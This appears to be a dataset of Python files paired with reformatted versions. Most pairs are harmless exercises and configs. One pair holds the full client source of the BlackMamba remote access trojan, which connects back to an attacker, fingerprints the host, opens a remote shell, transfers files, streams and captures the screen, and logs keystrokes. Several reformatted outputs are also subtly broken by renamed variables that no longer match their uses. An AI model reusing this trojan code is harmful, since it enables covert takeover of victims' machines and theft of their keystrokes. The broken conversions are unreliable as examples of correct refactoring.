def near_hundred(n):
if 90 <= n <=110 or 190 <= n <= 210:
return True
else:
return False
result = near_hundred(93)
print(result)
result = near_hundred(90)
print(result)
result = near_hundred(89)
print(result)
result = near_hundred(190)
print(result)
result = near_hundred(210)
print(result)
result = near_hundred(211)
print(result)
| def near_hundred(n):
if 90 <= n <= 110 or 190 <= n <= 210:
return True
else:
return False
result = near_hundred(93)
print(result)
result = near_hundred(90)
print(result)
result = near_hundred(89)
print(result)
result = near_hundred(190)
print(result)
result = near_hundred(210)
print(result)
result = near_hundred(211)
print(result) |
#!/usr/bin/python
__author__ = "Bassim Aly"
__EMAIL__ = "basim.alyy@gmail.com"
# sudo scapy
# send(IP(dst="10.10.10.1")/ICMP()/"Welcome to Enterprise Automation Course")
| __author__ = 'Bassim Aly'
__email__ = 'basim.alyy@gmail.com' |
# coding: utf-8
__all__ = [
"__package_name__",
"__module_name__",
"__copyright__",
"__version__",
"__license__",
"__author__",
"__author_twitter__",
"__author_email__",
"__documentation__",
"__url__",
]
__package_name__ = "PyVideoEditor"
__module_name__ = "veditor"
__copyright__ = "Copyright (C) 2021 iwasakishuto"
__version__ = "0.1.0"
__license__ = "MIT"
__author__ = "iwasakishuto"
__author_twitter__ = "https://twitter.com/iwasakishuto"
__author_email__ = "cabernet.rock@gmail.com"
__documentation__ = "https://iwasakishuto.github.io/PyVideoEditor"
__url__ = "https://github.com/iwasakishuto/PyVideoEditor"
| __all__ = ['__package_name__', '__module_name__', '__copyright__', '__version__', '__license__', '__author__', '__author_twitter__', '__author_email__', '__documentation__', '__url__']
__package_name__ = 'PyVideoEditor'
__module_name__ = 'veditor'
__copyright__ = 'Copyright (C) 2021 iwasakishuto'
__version__ = '0.1.0'
__license__ = 'MIT'
__author__ = 'iwasakishuto'
__author_twitter__ = 'https://twitter.com/iwasakishuto'
__author_email__ = 'cabernet.rock@gmail.com'
__documentation__ = 'https://iwasakishuto.github.io/PyVideoEditor'
__url__ = 'https://github.com/iwasakishuto/PyVideoEditor' |
"""
Smirk - Web Application Framework
Copyright (c) 2016 Brett Fraley
Source Repository
https://github.com/bFraley/Smirk
MIT License
https://github.com/bFraley/Smirk/blob/master/LICENSE
File: service_event.py
About: Generic service event type used to build many types of
service events. The ServicesProcessor manages ServiceEvent(s).
Service Events represent actions implemented in Smirk's core,
like ParseEvent, ReadEvent, WriteEvent, etc. All functionality
leads to an instance of an event that is processed by the
ServicesProcessor"""
class ServiceEvent():
def __init__(self, smirk_event_type):
self.smirk_event_type = smirk_event_type
def get_smirk_event_type(self):
if isinstance(self.smirk_event_type, PreproccessedSmirkFile):
self.event_type = "parser_process_event"
| """
Smirk - Web Application Framework
Copyright (c) 2016 Brett Fraley
Source Repository
https://github.com/bFraley/Smirk
MIT License
https://github.com/bFraley/Smirk/blob/master/LICENSE
File: service_event.py
About: Generic service event type used to build many types of
service events. The ServicesProcessor manages ServiceEvent(s).
Service Events represent actions implemented in Smirk's core,
like ParseEvent, ReadEvent, WriteEvent, etc. All functionality
leads to an instance of an event that is processed by the
ServicesProcessor"""
class Serviceevent:
def __init__(self, smirk_event_type):
self.smirk_event_type = smirk_event_type
def get_smirk_event_type(self):
if isinstance(self.smirk_event_type, PreproccessedSmirkFile):
self.event_type = 'parser_process_event' |
def main():
project()
# extracredit()
# Create a task list.
# A user is presented with the text below.
# Let them select an option to list all of their tasks,
# add a task to their list,
# delete a task,
# or quit the program.
# Make each option a different function in your program.
# Do NOT use Google. Do NOT use other students. Try to do this on your own.
#
# Congratulations! You're running [YOUR NAME]'s Task List program.
#
# What would you like to do next?
# 1. List all tasks.
# 2. Add a task to the list.
# 3. Delete a task.
# 0. To quit the program
outsidefile = open("tasklist1","a")
# the most dangerous thing i learned today,
# you can COMPLETELY CHANGE EVERYTHING IN THE FILE
# HOW DO YOU ADD WITHOUT REPLACING?
def project():
userlist =["Thomas"]
tasklist = [{"name":"Thomas","taskList": "tasklist1"}]
print("are you a new user?\n Y/n")
for user in userlist:
print(user)
newUser = input("")
# if(newUser == )
if(newUser.upper() == "Y"):
userInputName = input("please enter name\n")
userlist.append(userInputName)
tasklist.append({"name":userInputName,"taskList":(f"tasklist{len(userlist)}")})
for person in userlist:
if(userInputName.lower() == person.lower()):
user = person
entry = True
break
if(newUser.lower() == "n"):
userInputName = input("please enter name")
if userInputName.capitalize() not in userlist:
print('user not in list')
entry = False
else:
for person in userlist:
if(userInputName.lower() == person.lower()):
user = person
entry = True
break
# for adding new user
if(entry == True):
print(f" welcome {user} what would you like to do?")
while(True):
command = input("View\tAdd\tRemove\tquit\n")
if(command.lower() == "quit"):
print("have a good day")
break
elif(command.lower() == "view"):
for person in tasklist:
if person["name"] == user:
print("taskList")
file = open(person["taskList"],"r")
print(file.read())
file.close()
elif(person["taskList"] == []):
print("no tasks")
elif(command.lower() == "add"):
newTask = input("What new task do you want to add?\n")
for person in tasklist:
file = open(person["taskList"],"a")
file.write(f"{newTask}\n")
elif(command.lower() == "remove"):
taskToRemove = input("What task do you want to remove?\n")
for person in tasklist:
if person["name"] == user:
readfile = open(person["taskList"],"r")
lines = readfile.readlines()
print(lines)
readfile.close()
editfiles = open(person["taskList"],"w")
for task in lines:
if(task != taskToRemove + "\n"):
editfiles.write(task)
editfiles.close()
else:
print("Invalid command please reinput command\nView\tAdd\tRemove\tquit\n")
else:
print("goodbye")
def extracredit():
Input = input("what do i put in there?")
outsidefile.write(f"\n{Input}")
if __name__ == '__main__':
main()
| def main():
project()
outsidefile = open('tasklist1', 'a')
def project():
userlist = ['Thomas']
tasklist = [{'name': 'Thomas', 'taskList': 'tasklist1'}]
print('are you a new user?\n Y/n')
for user in userlist:
print(user)
new_user = input('')
if newUser.upper() == 'Y':
user_input_name = input('please enter name\n')
userlist.append(userInputName)
tasklist.append({'name': userInputName, 'taskList': f'tasklist{len(userlist)}'})
for person in userlist:
if userInputName.lower() == person.lower():
user = person
entry = True
break
if newUser.lower() == 'n':
user_input_name = input('please enter name')
if userInputName.capitalize() not in userlist:
print('user not in list')
entry = False
else:
for person in userlist:
if userInputName.lower() == person.lower():
user = person
entry = True
break
if entry == True:
print(f' welcome {user} what would you like to do?')
while True:
command = input('View\tAdd\tRemove\tquit\n')
if command.lower() == 'quit':
print('have a good day')
break
elif command.lower() == 'view':
for person in tasklist:
if person['name'] == user:
print('taskList')
file = open(person['taskList'], 'r')
print(file.read())
file.close()
elif person['taskList'] == []:
print('no tasks')
elif command.lower() == 'add':
new_task = input('What new task do you want to add?\n')
for person in tasklist:
file = open(person['taskList'], 'a')
file.write(f'{newTask}\n')
elif command.lower() == 'remove':
task_to_remove = input('What task do you want to remove?\n')
for person in tasklist:
if person['name'] == user:
readfile = open(person['taskList'], 'r')
lines = readfile.readlines()
print(lines)
readfile.close()
editfiles = open(person['taskList'], 'w')
for task in lines:
if task != taskToRemove + '\n':
editfiles.write(task)
editfiles.close()
else:
print('Invalid command please reinput command\nView\tAdd\tRemove\tquit\n')
else:
print('goodbye')
def extracredit():
input = input('what do i put in there?')
outsidefile.write(f'\n{Input}')
if __name__ == '__main__':
main() |
class BaseConfig(object):
"""Base configuration."""
WTF_CSRF_ENABLED = True
REDIS_URL = "redis://redis:6379"
QUEUES = ["default"]
# Exchanges
# BINANCE_KEY = os_get("BINANCE_KEY")
# BINANCE_SECRET = os_get("BINANCE_SECRET")
# BITMEX_KEY = os_get("BITMEX_KEY")
# BITMEX_SECRET = os_get("BITMEX_SECRET")
# Database
# SQLALCHEMY_DATABASE_URI = os_get("SQLALCHEMY_DATABASE_URI")
# SQLALCHEMY_ECHO = False
# SQLALCHEMY_TRACK_MODIFICATIONS = False
class DevelopmentConfig(BaseConfig):
"""Development configuration."""
WTF_CSRF_ENABLED = False
class TestingConfig(BaseConfig):
"""Testing configuration."""
TESTING = True
WTF_CSRF_ENABLED = False
PRESERVE_CONTEXT_ON_EXCEPTION = False
| class Baseconfig(object):
"""Base configuration."""
wtf_csrf_enabled = True
redis_url = 'redis://redis:6379'
queues = ['default']
class Developmentconfig(BaseConfig):
"""Development configuration."""
wtf_csrf_enabled = False
class Testingconfig(BaseConfig):
"""Testing configuration."""
testing = True
wtf_csrf_enabled = False
preserve_context_on_exception = False |
####################################################################################
# BLACKMAMBA BY: LOSEYS (https://github.com/loseys)
#
# QT GUI INTERFACE BY: WANDERSON M.PIMENTA (https://github.com/Wanderson-Magalhaes)
# ORIGINAL QT GUI: https://github.com/Wanderson-Magalhaes/Simple_PySide_Base
####################################################################################
"""
It is a base to create te Python file that will be executed in the client host. Some
terms of "body_script" will be replaced:
SERVER_IP
SERVER_PORT
SERVER_V_IP
CLIENT_TAG
SERVER_KEY
"""
body_script = r"""#!/usr/bin/python3
import os
import sys
import time
import random
import platform
from os import environ
environ['PYGAME_HIDE_SUPPORT_PROMPT'] = '1'
first_execution = True
system_os = platform.platform().lower()
if 'linux' in str(platform.platform()).lower():
if not 'screen on' in str(os.popen('screen -ls')).lower():
os.environ["QT_QPA_PLATFORM"] = "offscreen"
if first_execution:
if 'linux' in system_os:
os.system(f'chmod 777 {os.path.basename(__file__)}')
os.system('pip3 install requests')
os.system('pip3 install Pillow')
os.system('pip3 install pyautogui')
os.system('pip3 install wmi')
os.system('pip3 install pytest-shutil')
os.system('pip3 install cv2')
os.system('pip3 install pynput')
os.system('pip3 install PyQt5')
os.system('pip3 install PyAutoGUI')
os.system('pip3 install cryptography')
os.system('pip3 install opencv-python')
os.system('pip3 install mss')
os.system('pip3 install pygame')
os.system('pip3 install numpy')
elif 'windows' in system_os:
os.system('pip install Pillow')
os.system('pip install requests')
os.system('pip install pyautogui')
os.system('pip install wmi')
os.system('pip install pytest-shutil')
os.system('pip install cv2')
os.system('pip install pynput')
os.system('pip install PyQt5')
os.system('pip install PyAutoGUI')
os.system('pip install cryptography')
os.system('pip install opencv-python')
os.system('pip install mss')
os.system('pip install pygame')
os.system('pip install numpy')
client_tag_nb = (random.randint(int('1' + '0' * 30), int('9' + '0' * 30)))
with open(os.path.basename(__file__), 'r') as f:
_content = f.read()
f.close()
with open(os.path.basename(__file__), 'w') as f:
_content = _content.replace('first_execution = True', 'first_execution = False')
_content = _content.replace('client_tag = 0', f'client_tag = {client_tag_nb}')
f.write(_content)
f.close()
os.execl(sys.executable, os.path.abspath(__file__), *sys.argv)
import re
import time
import time
import uuid
import socket
import shutil
import select
import pathlib
import requests
import threading
import subprocess
import numpy as np
from mss import mss
from threading import Thread
import pygame
from zlib import compress
from cryptography.fernet import Fernet
try:
import pyautogui
except:
#print(1)
pass
try:
from pynput.keyboard import Listener
except:
pass
try:
import cv2
except:
pass
try:
from PyQt5 import QtWidgets
except:
#print(2)
pass
ip = 'SERVER_IP'
port = SERVER_PORT
port_video = SERVER_V_IP
client_tag = 0
status_strm = True
try:
pyautogui.FAILSAFE = False
except:
#print(3)
pass
try:
app = QtWidgets.QApplication(sys.argv)
screen = app.primaryScreen()
size = screen.size()
WIDTH = size.width()
HEIGHT = size.height()
except:
#print(4)
pass
def retreive_screenshot(conn):
global status_strm
with mss() as sct:
# The region to capture
rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
while True:
try:
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
except:
# print('except_from_thread_streaming')
#print(5)
status_strm = False
break
def main(host=ip, port=port_video):
try:
global status_strm
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
sock.send(f'{WIDTH},{HEIGHT}'.encode())
except:
#print(6)
return
try:
while status_strm:
# print('$starting_streaming')
try:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except:
break
except Exception as ee:
#print(7)
# print("ERR: ", e)
sock.close()
# pygame.close()
sock.close()
# pygame.close()
class Client:
def __init__(self):
self.timer_rec = False
while True:
try:
self.s = socket.socket()
self.s.connect((ip, port))
break
except Exception as exception:
#print("Exception: {}".format(type(exception).__name__))
#print("Exception message: {}".format(exception))
#print(8)
time.sleep(15)
self.tag = str(client_tag)
first_connection = True
self.initial_path = pathlib.Path(__file__).parent.absolute()
if first_connection:
os_system = str(platform.system()).lower()
# if os_system == 'windows':
fingerprint = ['system_info',
f'tag:{self.tag}',
f'python_version:{platform.python_version()}',
f'system:{platform.system()}',
f'platform:{platform.platform()}',
f'version:{platform.version()}',
f'processor:{platform.processor().replace(" ", "-").replace(",-", "-")}',
f'architecture:{platform.machine()}',
f'uname:{platform.node()}',
f'mac_version:{self.get_mac()}',
f'external_ip:{self.external_ip_addr()}',
f'local_ip:{self.local_ip()}',
f'status:off',
f'file_path:{os.path.abspath(__file__)}'
]
fingerprint = self.crypt(fingerprint, 'SERVER_KEY')
self.s.send(str(fingerprint).encode('utf-8'))
self.lock_screen_status = False
self.path_output = pathlib.Path(__file__).parent.absolute()
self.break_terminal = False
self.command_terminal = None
self.active_termial = False
self.kl_unique = False
self.stop_logging = False;
# print(f"OS => {platform.platform()}")
f = open('output.txt', 'wb')
if 'windows' in str(platform.platform()).lower():
self.proc = subprocess.Popen('cmd.exe', stderr=subprocess.STDOUT, stdin=subprocess.PIPE, stdout=f)
elif 'linux' in str(platform.platform()).lower() or 'linux' in str(platform.system()).lower():
self.proc = subprocess.Popen('/bin/bash', stderr=subprocess.STDOUT, stdin=subprocess.PIPE, stdout=f)
self.monitoring()
def call_terminal(self, command_server):
rmv_st = command_server
if command_server == '-restore':
try:
with open('output.txt', 'r') as ff:
strc = ff.read()
ff.close()
ansi_escape = re.compile(r'(?:\x1B[@-_]|[\x80-\x9F])[0-?]*[ -/]*[@-~]')
output_ansi = ansi_escape.sub('', strc)
strc = output_ansi
with open('output.txt', 'wb') as ff:
ff.write(bytes(strc, encoding='utf-8'))
ff.close()
with open('output.txt', 'rb') as gotp:
content_otp = gotp.read()
try:
content_otp = content_otp.replace(b'\\x00', b'')
content_otp = content_otp.replace(b'\x00', b'')
except:
#print(9)
pass
gotp.close()
time.sleep(2)
# string_output = content_otp.encode('utf-8')
# print(f'-RESTORE {content_otp}')
return content_otp
except:
#print(10)
time.sleep(2)
string_output = 'Has not possible to recovery the last STDOUT\.n'
# string_output = content_otp.encode('utf-8')
return string_output
elif command_server == '-restart':
try:
os.execl(sys.executable, os.path.abspath(__file__), *sys.argv)
return
except:
#print(11)
string_output = '\nWas not possible to restart the .\n.'
string_output = string_output.encode('utf-8')
return string_output
command = str(command_server)
#print(f'[{command}]')
# if command == "cls":
open('output.txt', 'wb').close()
os_sys = str(platform.platform()).lower()
if 'winwdows' in os_sys:
os.system('cls')
if 'linux' in os_sys:
os.system('clear')
time.sleep(0.1)
# else:
command = command.encode('utf-8') + b'\n'
self.proc.stdin.write(command)
self.proc.stdin.flush()
time.sleep(2)
with open('output.txt', 'r') as ff:
strc = ff.read()
ff.close()
ansi_escape = re.compile(r'(?:\x1B[@-_]|[\x80-\x9F])[0-?]*[ -/]*[@-~]')
output_ansi = ansi_escape.sub('', strc)
strc = output_ansi
with open('output.txt', 'wb') as ff:
ff.write(bytes(strc, encoding='utf-8'))
ff.close()
with open('output.txt', 'rb') as ff:
string_output = ff.read()
try:
string_output = string_output.replace(b'\\x00', b'')
string_output = string_output.replace(b'\x00', b'')
except:
#print(12)
pass
#print(f'to server -> {string_output}')
# string_output = string_output.encode('utf-8')
# print(string_output)
# try:
# print(string_output)
# except:
# pass
try:
check_stb = string_output[:len(rmv_st)]
if check_stb == bytes(rmv_st, encoding='utf-8'):
rmv_stb = bytes(rmv_st, encoding='utf-8') + b'\n'
#print(rmv_stb)
string_output = string_output.replace(rmv_stb, b'')
except Exception as exception:
print("Exception: {}".format(type(exception).__name__))
print("Exception message: {}".format(exception))
#print(f'final{string_output}')
return string_output
def monitoring(self):
while True:
try:
###########time.sleep(2)
# socket.settimeout(40)
#print('waiting')
self.s.settimeout(60)
string_server = self.s.recv(1024*1024).decode()
#print(f'string server -> {string_server}')
# socket.settimeout(45)
except Exception as exception:
#print("Exception: {}".format(type(exception).__name__))
#print("Exception message: {}".format(exception))
#print(13)
# caso desligue com lock ativo vvvv
self.lock_screen_status = False
##################################
self.s.close()
while True:
############time.sleep(2)
try:
self.s = socket.socket()
self.s.connect((ip, port))
os_system = str(platform.system()).lower()
# if os_system == 'windows':
fingerprint = ['system_info',
f'tag:{self.tag}',
f'python_version:{platform.python_version()}',
f'system:{platform.system()}',
f'platform:{platform.platform()}',
f'version:{platform.version()}',
f'processor:{platform.processor().replace(" ", "-").replace(",-", "-")}',
f'architecture:{platform.machine()}',
f'uname:{platform.node()}',
f'mac_version:{self.get_mac()}',
f'external_ip:{self.external_ip_addr()}',
f'local_ip:{self.local_ip()}',
f'status:off',
]
fingerprint = self.crypt(fingerprint, 'SERVER_KEY')
self.s.send(str(fingerprint).encode('utf-8'))
break
except:
#print(14)
time.sleep(15)
pass
# error aqui
time.sleep(1) ################1335
try:
rcvdData = str(string_server).replace("b'", "").replace("'", "")
except Exception as exception:
#print("Exception: {}".format(type(exception).__name__))
#print("Exception message: {}".format(exception))
#print(15)
continue
try:
rcvdData = bytes(rcvdData, encoding='utf-8')
str_content = self.decrypt(rcvdData, 'SERVER_KEY')
str_content = str(str_content).replace("b'", "").replace("'", "")
except:
#print(16)
continue
# print(f'recbido -> {str_content}')
# if not 'hello' in str(string_server) and str(string_server) != '' and str(string_server) != ' ':
if str_content != 'hello' and str_content != '' and str_content != ' ':
# print(f'S: {str_content}')
# response = self.identify(str(str_content))
response = self.identify(str_content)
# print(f'TO SERVER => -{response}')
try:
response = self.crypt(response, 'SERVER_KEY')
response = response.replace(b'b', b'%%GBITR%%')
# print('----------------')
# print(response)
# print('----------------')
# self.s.send(str(response).encode('utf-8'))
self.s.send(response)
del (string_server)
del (rcvdData)
del (str_content)
del (response)
except:
#print(17)
# 'ALERTA DE EXCEPT')
pass
# time.sleep(1)
def identify(self, command):
if '[SYSTEM_SHELL]' in command:
try:
command = command.replace('[SYSTEM_SHELL]', '')
response = self.call_terminal(command)
return response
except:
#print(18)
pass
elif '[FGET]' in command:
command = command.replace('[FGET]', '')
try:
with open(command, 'rb') as file_content:
f_ct = file_content.read()
file_content.close()
f_ct = self.crypt_file(f_ct, 'SERVER_KEY')
with open(f'{command}_tmp', 'wb') as file_cpt:
file_cpt.write(f_ct)
del (f_ct)
except:
#print(19)
content = 'An error has occurred, please try again.'
return content
try:
f = open(f'{command}_tmp', 'rb')
except:
#print(20)
content = 'An error has occurred, please try again.'
return
l = f.read(1024)
# print('Sending FGET')
time.sleep(2)
while (l):
try:
# l = self.crypt(l, 'SERVER_KEY')
# l = l.replace(b'b', b'%%GBITR%%')
# print(f'> {l}')
self.s.settimeout(5)
self.s.send(l)
except:
#print(21)
# print('except FGET')
break
l = f.read(1024)
f.close()
time.sleep(0.5)
# try:
# self.s.send(b'\\end\\')
# except:
# print('except no \\end\\')
# pass
try:
os.remove(f'{command}_tmp')
except:
#print(22)
content = 'An error has occurred, please try again.'
return content
time.sleep(5)
end_tag = '%&@end__tag@&%'
self.s.send(end_tag.encode('utf-8'))
# print('FIM')
return end_tag
elif '[FPUT]' in command:
# elif command.startwith('[FPUT]'):
command = command.replace('[FPUT]', '')
# continue
try:
for e in range(20):
self.s.settimeout(0.5)
clear_buff = self.s.recv(1024 * 1024 * 1024)
# 'buffer cleaned FGET')
except:
#print(22)
pass
try:
f = open(f'{command}', 'wb')
self.s.settimeout(25)
l = self.s.recv(1024)
# l = str(c.recv(1024))
# l = l.replace('b"', '')
# l = l.replace("b'", '')
# l = l.replace('"', '')
# l = l.replace("'", '')
# l = l.replace('%%GBITR%%', 'b')
# l = bytes(l, encoding='utf-8')
while (l):
# print(f'FRAGMENTO {l}')
# print(f'writing => {l}')
if '%@end_tag@%' in l.decode('utf-8'):
# print('a casa caiu')
break
f.write(l)
l = self.s.recv(1024 * 1024)
# l = str(c.recv(1024))
# l = l.replace('b"', '')
# l = l.replace("b'", '')
# l = l.replace('"', '')
# l = l.replace("'", '')
# l = l.replace('%%GBITR%%', 'b')
# l = bytes(l, encoding='utf-8')
f.close()
# print('FIM ARQUIVO\n\n\n')
with open(f'{command}', 'rb') as a:
b = a.read()
try:
b = self.decrypt(b, 'SERVER_KEY')
with open(f'{command}', 'wb') as c:
c.write(b)
except:
#print(24)
pass
except:
#print(25)
pass
elif '[@%WEBGET%@]' in command:
try:
with open('tmp_call', 'w') as tmpc:
tmpc.write(command)
except:
#print(26)
time.sleep(2)
return
thread_strmg = threading.Thread(target=self.webget_file, args=())
thread_strmg.daemon = True
thread_strmg.start()
time.sleep(2)
return
elif '[@%WEBRAW%@]' in command:
try:
with open('tmp_call', 'w') as tmpc:
tmpc.write(command)
except:
#print(27)
time.sleep(2)
return
thread_strmg = threading.Thread(target=self.webraw_file, args=())
thread_strmg.daemon = True
thread_strmg.start()
time.sleep(2)
return
elif '%get-screenshot%' in command:
# elif command.startwith('%get-screenshot%'):
try:
image = pyautogui.screenshot()
except:
#print(28)
return
image.save(f'screeenshot_{self.tag}.png')
time.sleep(0.2)
with open(f'screeenshot_{self.tag}.png', 'rb') as f:
content_image = f.read()
f.close()
# os.remove(f'screeenshot_{self.tag}.png')
with open(f'screeenshot_crypt_{self.tag}.png', 'wb') as f:
f.write(self.crypt_file(content_image, 'SERVER_KEY'))
f.close()
f = open(f'screeenshot_crypt_{self.tag}.png', 'rb')
# f = open(f'screeenshot_{self.tag}.png', 'rb')
l = f.read(1024)
# print('Sending PNG')
while (l):
# print(">>>", l)
try:
self.s.send(l)
except:
#print(29)
# print("break conexao");
break
l = f.read(1024)
f.close()
time.sleep(2)
try:
self.s.send(b'\\@%end%@\\')
except:
#print(30)
pass
try:
os.remove(f'screeenshot_{self.tag}.png')
os.remove(f'screeenshot_crypt_{self.tag}.png')
except:
#print(31)
pass
return
elif '%lock-screen%' in command:
# elif command.startwith('%lock-screen%'):
threadd = threading.Thread(target=self.lock_screen, args=())
threadd.daemon = True
threadd.start()
time.sleep(2)
return
elif '%unlock-screen%' in command:
# elif command.startwith('%unlock-screen%'):
self.lock_screen_status = False
time.sleep(2)
return
elif '%sv-init-live-video%' in command:
# elif command.startwith('%sv-init-live-video%'):
thread_strmg = threading.Thread(target=self.start_streaming, args=())
thread_strmg.daemon = True
thread_strmg.start()
elif '%start-kl-function%' in command:
# print(self.stop_logging, self.kl_unique)
if self.kl_unique:
return
else:
self.kl_unique = True
thread = threading.Thread(target=self.kl_main, args=())
thread.daemon = True
thread.start()
time.sleep(2)
return
elif '%stop-kl-function%' in command:
self.stop_logging = True
self.kl_unique = False
time.sleep(2)
return
elif '%print-kl-function%' in command:
try:
with open('kl_log.txt', 'r') as get_kll:
log_string = get_kll.read()
get_kll.close()
time.sleep(2)
return f'[@%HOST_SHELL%@]{log_string}'
except:
#print(32)
response = '\nHas not possible to open the keylogger log.\n'
time.sleep(2)
return response
elif '@%list-softwares%@' in command:
if 'windows' in str(platform.platform()).lower():
try:
data = subprocess.check_output(['wmic', 'product', 'get', 'name'])
data_str = str(data)
cont_tmp = []
cont_lst = f'[@%HOST_SHELL%@]'
except:
#print(33)
return
try:
for i in range(len(data_str)):
string_part = (data_str.split("\\r\\r\\n")[6:][i])
string_part = string_part.lstrip().rstrip()
if string_part != '' and string_part != ' ' and string_part != '"' and string_part != "'":
cont_tmp.append(string_part)
except IndexError as e:
#print(34)
pass
try:
for i in cont_tmp:
cont_lst += i + '\n'
except:
#print(35)
pass
return cont_lst
elif 'linux' in str(platform.platform()).lower():
try:
cont_lst = f'[@%HOST_SHELL%@]'
response = subprocess.getoutput('ls /bin && ls /opt')
# response = response.split('\\n')
cont_lst += str(response).replace("[", "");
time.sleep(2)
return cont_lst
except:
#print(36)
pass
else:
response = 'error'
return response
def start_streaming(self):
global status_strm
dir_path = os.path.dirname(os.path.realpath(__file__))
try:
# os.system(f'{dir_path}/vstrm.py')
status_strm = True
main()
except:
#print(37)
pass
def lock_screen(self):
self.lock_screen_status = True
while self.lock_screen_status:
pyautogui.moveTo(1, 1)
def windows_screenshot_stream(self, number):
try:
myScreenshot = pyautogui.screenshot()
myScreenshot.save(f'images/{number}.png')
except:
#print(38)
pass
def webget_file(self):
try:
with open('tmp_call', 'r') as tmpc:
command = tmpc.read()
os.remove('tmp_call')
command = command.replace('[@%WEBGET%@]', '')
command = command.replace('-webget', '').replace(' -f ', ',')
command = command.split(',')
url = command[0]
get_response = requests.get(url, stream=True)
file_name = url.split("/")[-1]
with open(command[1], 'wb') as f:
for chunk in get_response.iter_content(chunk_size=1024):
if chunk: # filter out keep-alive new chunks
f.write(chunk)
f.close()
except:
#print(39)
try:
os.remove('tmp_call')
os.remove(command[1])
except:
#print(40)
pass
def webraw_file(self):
try:
with open('tmp_call', 'r') as tmpc:
command = tmpc.read()
os.remove('tmp_call')
command = command.replace('[@%WEBRAW%@]', '')
command = command.replace('-webraw', '').replace(' -f ', ',')
command = command.split(',')
url = command[0]
html = requests.get(url).content
with open(command[1], 'w') as f:
f.write(html.decode('utf-8'))
f.close
except:
#print(41)
try:
os.remove('tmp_call')
os.remove(command[1])
except:
#print(42)
pass
# @staticmethod
def kl_main(self):
while not self.stop_logging:
with Listener(on_press=self.writeLog) as l:
# l.join()
while True:
if self.stop_logging:
l.stop()
self.kl_unique = False
self.stop_logging = False
return
time.sleep(1)
keydata = str(key)
# @staticmethod
def writeLog(self, key):
keydata = str(key)
# print(self.stop_logging)
try:
with open('kl_log.txt', 'r') as create_f:
create_f.close()
except:
#print(43)
with open('kl_log.txt', 'w') as create_f:
create_f.close()
with open("kl_log.txt", "a") as f:
if 'Key.space' in keydata:
f.write(' ')
elif 'Key' in keydata:
return
# f.write(f'<{keydata}>')
else:
f.write(keydata.replace("'", ''))
@staticmethod
def crypt(msg, key):
command = str(msg)
command = bytes(command, encoding='utf8')
cipher_suite = Fernet(key)
encoded_text = cipher_suite.encrypt(command)
return encoded_text
@staticmethod
def crypt_file(msg, key):
cipher_suite = Fernet(key)
encoded_text = cipher_suite.encrypt(msg)
return encoded_text
@staticmethod
def decrypt(msg, key):
cipher_suite = Fernet(key)
decoded_text_f = cipher_suite.decrypt(msg)
return decoded_text_f
@staticmethod
def local_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
lip = s.getsockname()[0]
s.close()
return lip
@staticmethod
def external_ip_addr():
try:
exip = requests.get('https://www.myexternalip.com/raw').text
exip = str(exip).replace(' ', '')
except:
#print(44)
exip = 'None'
return exip
@staticmethod
def get_mac():
# mac_num = hex(uuid.getnode()).replace('0x', '').upper()
mac_num = hex(uuid.getnode()).replace('0x', '00').upper()
mac = '-'.join(mac_num[i: i + 2] for i in range(0, 11, 2))
return mac
if __name__ == '__main__':
client = Client()
client.__init__()
"""
| """
It is a base to create te Python file that will be executed in the client host. Some
terms of "body_script" will be replaced:
SERVER_IP
SERVER_PORT
SERVER_V_IP
CLIENT_TAG
SERVER_KEY
"""
body_script = '#!/usr/bin/python3\n\nimport os\nimport sys\nimport time\nimport random\nimport platform\nfrom os import environ\n\nenviron[\'PYGAME_HIDE_SUPPORT_PROMPT\'] = \'1\'\n\nfirst_execution = True\nsystem_os = platform.platform().lower()\n\nif \'linux\' in str(platform.platform()).lower():\n if not \'screen on\' in str(os.popen(\'screen -ls\')).lower():\n os.environ["QT_QPA_PLATFORM"] = "offscreen"\n\nif first_execution:\n if \'linux\' in system_os:\n os.system(f\'chmod 777 {os.path.basename(__file__)}\')\n os.system(\'pip3 install requests\')\n os.system(\'pip3 install Pillow\')\n os.system(\'pip3 install pyautogui\')\n os.system(\'pip3 install wmi\')\n os.system(\'pip3 install pytest-shutil\')\n os.system(\'pip3 install cv2\')\n os.system(\'pip3 install pynput\')\n os.system(\'pip3 install PyQt5\')\n os.system(\'pip3 install PyAutoGUI\')\n os.system(\'pip3 install cryptography\')\n os.system(\'pip3 install opencv-python\')\n os.system(\'pip3 install mss\')\n os.system(\'pip3 install pygame\')\n os.system(\'pip3 install numpy\')\n\n elif \'windows\' in system_os:\n os.system(\'pip install Pillow\')\n os.system(\'pip install requests\')\n os.system(\'pip install pyautogui\')\n os.system(\'pip install wmi\')\n os.system(\'pip install pytest-shutil\')\n os.system(\'pip install cv2\')\n os.system(\'pip install pynput\')\n os.system(\'pip install PyQt5\')\n os.system(\'pip install PyAutoGUI\')\n os.system(\'pip install cryptography\')\n os.system(\'pip install opencv-python\')\n os.system(\'pip install mss\')\n os.system(\'pip install pygame\')\n os.system(\'pip install numpy\')\n\n client_tag_nb = (random.randint(int(\'1\' + \'0\' * 30), int(\'9\' + \'0\' * 30)))\n\n with open(os.path.basename(__file__), \'r\') as f:\n _content = f.read()\n f.close()\n\n with open(os.path.basename(__file__), \'w\') as f:\n _content = _content.replace(\'first_execution = True\', \'first_execution = False\')\n _content = _content.replace(\'client_tag = 0\', f\'client_tag = {client_tag_nb}\')\n f.write(_content)\n f.close()\n os.execl(sys.executable, os.path.abspath(__file__), *sys.argv)\n\nimport re\nimport time\nimport time\nimport uuid\nimport socket\nimport shutil\nimport select\nimport pathlib\nimport requests\nimport threading\nimport subprocess\nimport numpy as np\nfrom mss import mss\nfrom threading import Thread\n\nimport pygame\nfrom zlib import compress\nfrom cryptography.fernet import Fernet\n\ntry:\n import pyautogui\nexcept:\n #print(1)\n pass\n\ntry:\n from pynput.keyboard import Listener\nexcept:\n pass\n \ntry:\n import cv2\nexcept:\n pass\n\ntry:\n from PyQt5 import QtWidgets\nexcept:\n #print(2)\n 